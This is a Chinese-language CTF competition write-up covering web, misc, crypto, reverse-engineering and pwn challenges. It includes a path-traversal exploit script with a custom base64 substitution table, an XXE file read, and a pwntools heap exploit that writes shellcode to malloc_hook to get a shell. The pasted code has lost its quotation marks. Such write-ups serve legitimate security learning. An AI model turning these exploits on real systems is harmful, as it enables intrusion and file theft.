首页 > 其他 > 详细

2019网络与信息安全专项赛题解

时间:2019-08-16 21:38:48      阅读:94      评论:0      收藏:0      [点我收藏+]

跟SUS_2019的大哥们一起打的比赛,记录一下

web

web1

       web签到,像这种前端游戏,一般逻辑都在js里面所以直接看cqg.js,无脑赋值socre=15,出来flag

web2

     burp启动,数据xml格式,猜测xxe,直接system读文件,可以读到,那么接下来读取源码试试,刚开始读index.php没读到,得用php://filter伪协议去读,路径/var/www/html/index.php

技术分享图片

技术分享图片

web3

本来以为是加密,试了半天不是,看起来文件任意读取的地方参数像个base64的字符串,然而并不是正常的base64,除了=等号不变,其它部分像是转换了,所以就是一个简单的base64移位转换,所以直接上burp,intruder几个不同名字的jpg,然后找到其转换规则,直接读取hint中提示的文件

```python

#coding:utf-8

import requests as req

import base64 as b64

import urllib

#D4hpAXj= =>7.jpg=<Ny5qcGc=

#64个字符A-Z,a-z,0-9,+,/

trans_box = {+: u, /: A, 1: 0,7: I, 9: k,  K: 6, M: Z, O: 2, Q: +,A: b, 3: C, 0: Y, 2: P, 4: y, 6: e, 8: v, B: z, D: N, F: t, H: x, J: U, L: X, N: F, P: V, R: q, T: a, V: l, X: m, Z: S, s: p, u: s, w: O, y: D, E: \\, b: 4, d: B, f: h, h: 5, j: c, l: M, n: 9, p: w, r: 1, t: 8, v: o, x: i, z: K,=:=,

     5: T,  C: J, G: 7, I: f, S: d, U: 3, W: R, Y: W, a: L, c: r, e: g, g: n, i: E, k: j, m: G, o: H, q: Q}

print len(trans_box.keys())

def get_key (dict, value):

    return [k for k, v in dict.items() if v == value]

 

def zhuanhuan(b):

    payload=""

    for i in range(len(b)):

        payload = payload + get_key(trans_box,b[i])[0]

    return payload

 

def exp(a):

    b = b64.b64encode(a)

    print  b

    c = zhuanhuan(b)

    payload = urllib.quote(c)

    print payload

    res = req.get(http://743d9d231a084055b92ea11b480e47c545be52d430074b21.changame.ichunqiu.com/img.php?name={}.format(payload))

    print res.url

    print res.content

 

 

if __name__ == __main__:

    exp(../../../../../../var/www/html/templates/upload.html)

    #exp(‘../../../../../../proc/self/cwd/templates/upload.html‘)

    #exp(‘../../../../../../root/flag.txt‘)

```

Misc

misc1

       签到,直接看到TXT,直接反查域名的TXT记录即可得到flag,

http://dbcha.com/?t=1565832996

misc2

       win上下载后直接拖到最后发现密码,然后打开压缩包得到一张图片,继续打开它

 技术分享图片

技术分享图片

发现有一段奇怪的文字,百度了一下

 技术分享图片

0ox!加密,找了个在线揭秘网站进行解密即可得到flag

https://www.splitbrain.org/services/ook

misc3

技术分享图片

是张图片,binwalk分离,得到一个加密的压缩包,尝试爆破无果,

回来看第一张图片,学弟见过这种编码,核心价值观编码。。。。,直接在线解码得到压缩包密码http://ctf.ssleye.com/cvencode.html

得到压缩包密码为CodeValues,然后出来一张图片

技术分享图片

藏了一个二维码,百度了一下这种datamatric二维码也可以直接解码,先用steglove转为黑白图,然后截图二维码这一部分,然后用win画图工具擦掉旁边多余的部分就可以解码了

技术分享图片

技术分享图片

misc4

下载压缩包,解压得到一个 七代目.gif。无法正常打开,用010editor看一眼,是png的文件头。

那就直接根据文件后缀修改,把89504E47改成gif的47494638,gif即被修复。然后找个在线网站,分解一下这个gif https://tu.sioe.cn/gj/fenjie/

这么多图,一个个分析肯定累死人。题目名字七代目,那就直接把第七张图掏出来看。Binwalk什么的走一遍感觉已经没有藏得私货了,用stegsolve打开看一下LSB。结果刚打开调一下就出flag了

技术分享图片

Crypto

crypto1

题目说sm4加密,直接百度

github下载安装gmssl,直接解密即可

技术分享图片

crypto2

题目中给了RSA算法中的e,n,dp,c,其中。想到之前看过的一叶飘零的blog(https://zhuanlan.zhihu.com/p/43033684)关于dp和dq的解法,改一下数据就可以得到最终结果,payload如下:

技术分享图片

然后得到16进制字符串在线解码就得到flag

Re

Re1

控制流平坦化,拿工具跑一下,前几个check验证了flag的格式,最后一个check将输入进行变化和特定的字符串比较。
ABCDEFGHIJ的话就加上48,如果是-就不变化,其他的减去17
s3 = [ J, 2, 2, 6, 1, C, 6, 3, -, 3, I, 2, I, -, E, G, E, 4, -, I, B, C, C, -, I, E, 4, 1, A, 5, I, 5, F, 4, H, B]
s3 = "".join(s3)
f = ""
for i in range(len(s3)):
    m = s3[i]
    q1 = chr(ord(m) - 17)
    q2 = chr(ord(m) + 48)
 
    if m == "-":

        f += "-"

    elif m in "ABCDEFGHIJ":

        f += q1

    else:

        f += q2

    print f

RE2

稍微看一下就能知道

前面的计算是算平方数

后面的计算是算10000内素数的个数

Pwn

Pwn1

在Edit的时候能够,让size多出一字节,然后就可以Unlink了,保护全关,静态链接,可以写shellcode到malloc_hook

 

from pwn import *

from time import sleep

import base64

 

context.log_level = debug

context.arch = i386

p = process("./pwn")

 

f = ""

 

n = "\n"

def Add(size, con):

       global f

       p.sendline("1")

       p.sendline(str(size))

       p.sendline(con)

 

       f += "1" + n + str(size) + n + con + n

 

 

def Del(idx):

       global f

       p.sendline("2")

       p.sendline(str(idx))

 

       f += "2" + n + str(idx) + n

 

def Edit(idx, con):

       global f

       p.sendline("3")

       p.sendline(str(idx))

       p.sendline(con)

 

       f += "3" + n + str(idx) + n + con + n

      

 

f = ""

 

note_size = 0x80eba00

note_ptr  = 0x80eba40

sc =  asm(shellcraft.i386.linux.sh())

malloc_hook = 0x80ea4d8

 

Add(0x64, "0" * 0x64)

Add(0x64, "0" * 0x64)

Add(0x64, "0" * 0x64)

 

Add(0x64, "0" * 0x64)

Add(0x68, "0" * 0x68)

 

Add(0x64, "0" * 0x64)

 

 

_id = 3

 

Edit(_id, "0" * 0x65)

 

 

ptr = note_ptr + 4 * _id

fake_fd = ptr - 12

fake_bk = ptr - 8

 

fake  = p32(1) + p32(0x61)

fake += p32(fake_fd) + p32(fake_bk)

fake = fake.ljust(0x60, chr(0x60))

fake += p32(0x60)

fake += "\x70\x00"

 

bss_end = 0x80ebe0b

 

Edit(_id, fake)

 

# raw_input()

 

Del(_id + 1)

 

Edit(_id, p32(malloc_hook))

Edit(_id, p32(malloc_hook) + p32(bss_end))

Edit(0, p32(bss_end))

Edit(1, sc)

Add(0x64, cat flag)

print base64.b64encode(f)

p.interactive()

 

2019网络与信息安全专项赛题解

原文:https://www.cnblogs.com/wfzWebSecuity/p/11366191.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!